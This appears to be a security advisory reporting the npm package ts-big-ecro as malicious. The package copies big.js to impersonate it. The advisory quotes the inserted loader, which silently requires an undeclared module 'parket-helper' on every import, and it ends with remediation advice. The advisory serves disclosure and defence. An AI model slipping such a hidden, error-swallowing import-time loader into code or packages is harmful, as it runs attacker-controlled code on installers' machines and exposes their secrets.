Skip to content
OpenAdvisories
Malicious MAL-2026-6199 GHSA-3cg2-mrw5-67r6

ts-big-ecro

npm package · versions 0.1.0, 3.8.1

Reported Jun 19, 2026 · Updated Jul 8, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (09cc5687efdad86354f994af9fa7d7c28fbc21d7b5b4558870aba1c05dcf425b)
ts-big-ecro is a verbatim copy of the legitimate big.js library (MikeMcl/big.js v7.0.1) with its name, repository field, and copyright preserved to impersonate the original. Inside the main module (big.js:606 and big.mjs:606), an attacker-inserted block runs at the top level on every require()/import of the package: `try { const doc = require("parket-helper"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. The call fires unconditionally, swallows all errors to evade detection, and loads `parket-helper` — a module that is not declared in dependencies, not documented anywhere, and unrelated to arbitrary-precision arithmetic. The package's only declared dependency is `server-parket@^3.8.1`, which is similarly unrelated to the package's stated purpose (the real big.js has zero runtime dependencies). The combination — typosquat name, verbatim impersonation of a popular library, import-time loader for an undeclared helper module, and a suspicious sibling dependency of a different name — is the standard dependency-confusion trojan-loader pattern. Any installer that requires this package executes attacker-controlled code from `parket-helper` in their process.

Source: ghsa-malware (146f80104e2e8c685193e2b971c3b9db0da8b101a0c8364543d9a7b906f1b98f)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.